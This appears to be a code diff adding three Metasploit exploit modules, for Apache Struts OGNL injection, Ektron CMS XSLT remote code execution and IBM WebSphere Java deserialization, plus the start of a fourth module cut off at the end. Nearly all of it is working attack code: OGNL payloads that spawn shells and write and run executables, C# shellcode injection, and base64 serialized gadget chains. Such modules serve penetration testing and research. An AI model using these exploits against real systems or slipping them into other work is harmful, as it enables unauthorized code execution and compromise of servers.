@ -0,0 +1,229 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a remote code execution vunlerability in Apache Struts
|
||||
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
|
||||
via http Content-Type header.
|
||||
|
||||
Native payloads will be converted to executables and dropped in the
|
||||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
'Author' => [
|
||||
'Nike.Zheng', # PoC
|
||||
'Nixawk', # Metasploit module
|
||||
'Chorder', # Metasploit module
|
||||
'egypt', # combining the above
|
||||
'Jeffrey Martin', # Java fu
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2017-5638'],
|
||||
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Universal', {
|
||||
'Platform' => %w{ unix windows linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 07 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
|
||||
]
|
||||
)
|
||||
|
||||
@data_header = "X-#{rand_text_alpha(4)}"
|
||||
end
|
||||
|
||||
def check
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
|
||||
ognl = ""
|
||||
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
|
||||
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
|
||||
|
||||
begin
|
||||
resp = send_struts_request(ognl)
|
||||
rescue Msf::Exploit::Failed
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.headers[var_a]
|
||||
vprint_good("Victim operating system: #{resp.headers[var_a]}")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case payload.arch.first
|
||||
#when ARCH_JAVA
|
||||
# datastore['LHOST'] = nil
|
||||
# resp = send_payload(payload.encoded_jar)
|
||||
when ARCH_CMD
|
||||
resp = execute_command(payload.encoded)
|
||||
else
|
||||
resp = send_payload(generate_payload_exe)
|
||||
end
|
||||
|
||||
require'pp'
|
||||
pp resp.headers if resp
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, extra_header: '')
|
||||
uri = normalize_uri(datastore["TARGETURI"])
|
||||
content_type = "%{(#_='multipart/form-data')."
|
||||
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||
content_type << "(#_memberAccess?"
|
||||
content_type << "(#_memberAccess=#dm):"
|
||||
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
|
||||
content_type << "(#ognlUtil.getExcludedClasses().clear())."
|
||||
content_type << "(#context.setMemberAccess(#dm))))."
|
||||
content_type << ognl
|
||||
content_type << "}"
|
||||
|
||||
headers = { 'Content-Type' => content_type }
|
||||
if extra_header
|
||||
headers[@data_header] = extra_header
|
||||
end
|
||||
|
||||
#puts content_type.gsub(").", ").\n")
|
||||
#puts
|
||||
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => datastore['HTTPMethod'],
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
ognl = ''
|
||||
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
|
||||
|
||||
# You can add headers to the server's response for debugging with this:
|
||||
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
||||
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
|
||||
|
||||
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
|
||||
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
|
||||
ognl << %q|(#p.redirectErrorStream(true)).|
|
||||
ognl << %q|(#process=#p.start())|
|
||||
|
||||
send_struts_request(ognl, extra_header: cmd)
|
||||
end
|
||||
|
||||
def send_payload(exe)
|
||||
|
||||
ognl = ""
|
||||
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
|
||||
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
|
||||
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
|
||||
|
||||
# Using stuff from the sun.* package here means it likely won't work on
|
||||
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
|
||||
# work and I don't see a better way of getting binary data onto the
|
||||
# system. =/
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
|
||||
ognl << %q|(#fos.write(#d)).|
|
||||
ognl << %q|(#fos.close()).|
|
||||
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#f.delete())|
|
||||
|
||||
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
Doesn't work:
|
||||
|
||||
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
|
||||
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
|
||||
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
|
||||
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
|
||||
ognl << %q|(#m.invoke(null,null)).|
|
||||
|
||||
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
|
||||
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
|
||||
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
|
||||
|
||||
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
|
||||
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
|
||||
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
|
||||
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
|
||||
|
||||
=end
|
|
@ -0,0 +1,213 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
|
||||
'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
|
||||
vulnerabilities in various operations within the ServerControlWS.asmx
|
||||
web services. These vulnerabilities allow for RCE without authentication and
|
||||
execute in the context of IIS on the remote system.
|
||||
},
|
||||
'Author' => [
|
||||
'catatonicprime'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-0923' ],
|
||||
[ 'US-CERT-VU', '377644' ],
|
||||
[ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Feb 05 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
|
||||
OptEnum.new('TARGETOP',
|
||||
[
|
||||
true,
|
||||
'The vulnerable web service operation to exploit',
|
||||
'ContentBlockEx',
|
||||
[
|
||||
'ContentBlockEx',
|
||||
'GetBookmarkString',
|
||||
'GetContentFlaggingString',
|
||||
'GetContentRatingString',
|
||||
'GetMessagingString'
|
||||
]
|
||||
])
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
def vulnerable_param
|
||||
return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
|
||||
'xslt'
|
||||
end
|
||||
|
||||
def required_params
|
||||
return '' if datastore['TARGETOP'] == 'ContentBlockEx'
|
||||
'<showmode/>'
|
||||
end
|
||||
|
||||
def target_operation
|
||||
datastore['TARGETOP']
|
||||
end
|
||||
|
||||
def prologue
|
||||
<<-XSLT
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<soap:Body>
|
||||
<#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
|
||||
#{required_params}
|
||||
<#{vulnerable_param}>
|
||||
<![CDATA[
|
||||
<xsl:transform version="2.0"
|
||||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||||
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
|
||||
xmlns:user="http://mycompany.com/mynamespace">
|
||||
<msxsl:script language="C#" implements-prefix="user">
|
||||
XSLT
|
||||
end
|
||||
|
||||
def epilogue
|
||||
<<-XSLT
|
||||
</msxsl:script>
|
||||
<xsl:template match="/">
|
||||
<xsl:value-of select="user:xml()"/>
|
||||
</xsl:template>
|
||||
</xsl:transform>
|
||||
]]>
|
||||
</#{vulnerable_param}>
|
||||
</#{target_operation}>
|
||||
</soap:Body>
|
||||
</soap:Envelope>
|
||||
XSLT
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
fingerprint = rand_text_alpha(5 + rand(5))
|
||||
xslt_data = <<-XSLT
|
||||
#{prologue}
|
||||
public string xml() {
|
||||
return "#{fingerprint}";
|
||||
}
|
||||
#{epilogue}
|
||||
XSLT
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml; charset=UTF-8",
|
||||
'headers' => {
|
||||
"Referer" => build_referer
|
||||
},
|
||||
'data' => xslt_data
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def uri_path
|
||||
uri_path = target_uri.path
|
||||
uri_path << "/" if uri_path[-1, 1] != "/"
|
||||
uri_path
|
||||
end
|
||||
|
||||
def build_referer
|
||||
if datastore['SSL']
|
||||
schema = "https://"
|
||||
else
|
||||
schema = "http://"
|
||||
end
|
||||
|
||||
referer = schema
|
||||
referer << rhost
|
||||
referer << ":#{rport}"
|
||||
referer << uri_path
|
||||
referer
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
print_status("Generating the EXE Payload and the XSLT...")
|
||||
fingerprint = rand_text_alpha(5 + rand(5))
|
||||
|
||||
xslt_data = <<-XSLT
|
||||
#{prologue}
|
||||
private static UInt32 MEM_COMMIT = 0x1000;
|
||||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[System.Runtime.InteropServices.DllImport("kernel32")]
|
||||
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
|
||||
|
||||
public string xml()
|
||||
{
|
||||
string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
|
||||
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
|
||||
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
IntPtr pinfo = IntPtr.Zero;
|
||||
UInt32 threadId = 0;
|
||||
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
|
||||
return "#{fingerprint}";
|
||||
}
|
||||
#{epilogue}
|
||||
XSLT
|
||||
|
||||
print_status("Trying to run the xslt transformation...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'ctype' => "text/xml; charset=UTF-8",
|
||||
'headers' => {
|
||||
"Referer" => build_referer
|
||||
},
|
||||
'data' => xslt_data
|
||||
})
|
||||
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
|
||||
print_good("Exploitation was successful")
|
||||
else
|
||||
fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,119 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
|
||||
call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
|
||||
remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Liatsis Fotios @liatsisfotios' # Metasploit Module
|
||||
|
||||
# Thanks for helping me:
|
||||
# # # # # # # # # # # #
|
||||
|
||||
# Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module
|
||||
# Dimitriadis Alexios @AlxDm_ # Assistance and code check
|
||||
# Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-7450'],
|
||||
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
|
||||
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
|
||||
['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'IBM WebSphere 7.0.0.0', {} ]
|
||||
],
|
||||
'DisclosureDate' => "Nov 6 2015",
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true,
|
||||
'WfsDelay' => 20
|
||||
}))
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),
|
||||
Opt::RPORT('8880')
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
# Decode - Generate - Set Payload / Send SOAP Request
|
||||
soap_request(set_payload)
|
||||
end
|
||||
|
||||
def set_payload
|
||||
# CommonCollections1 Serialized Streams
|
||||
ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="
|
||||
ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo="
|
||||
|
||||
# Generate Payload
|
||||
payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
|
||||
payload_exec = Rex::Text.encode_base64(payload_exec)
|
||||
end
|
||||
|
||||
def invoke_ccs(serialized_stream)
|
||||
# Decode Serialized Streams
|
||||
serialized_stream = Rex::Text.decode_base64(serialized_stream)
|
||||
end
|
||||
|
||||
def gen_payload
|
||||
# Staging Native Payload
|
||||
exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")
|
||||
|
||||
# Size up RCE - Buffer
|
||||
cmd_lng = exec_cmd.length
|
||||
lng2str = "0" + cmd_lng.to_s(16)
|
||||
buff = [lng2str].pack("H*")
|
||||
|
||||
rce_pld = buff + exec_cmd
|
||||
end
|
||||
|
||||
def soap_request(inject_payload)
|
||||
# SOAP Request
|
||||
req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
|
||||
req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n"
|
||||
req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n"
|
||||
req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n"
|
||||
req += "</SOAP-ENV:Header>" + "\r\n"
|
||||
req += "<SOAP-ENV:Body>" + "\r\n"
|
||||
req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n"
|
||||
req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n"
|
||||
req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n"
|
||||
req += "</ns1:getAttribute>" + "\r\n"
|
||||
req += "</SOAP-ENV:Body>" + "\r\n"
|
||||
req += "</SOAP-ENV:Envelope>" + "\r\n"
|
||||
|
||||
uri = target_uri.path
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'POST',
|
||||
'version' => '1.1',
|
||||
'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",
|
||||
'uri' => normalize_uri(uri),
|
||||
'data' => req
|
||||
})
|
||||
end
|
||||
|
||||
end
|
|
@ -84,7 +84,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[
|
||||
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
|
||||
OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
|
||||
OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'])
|
||||
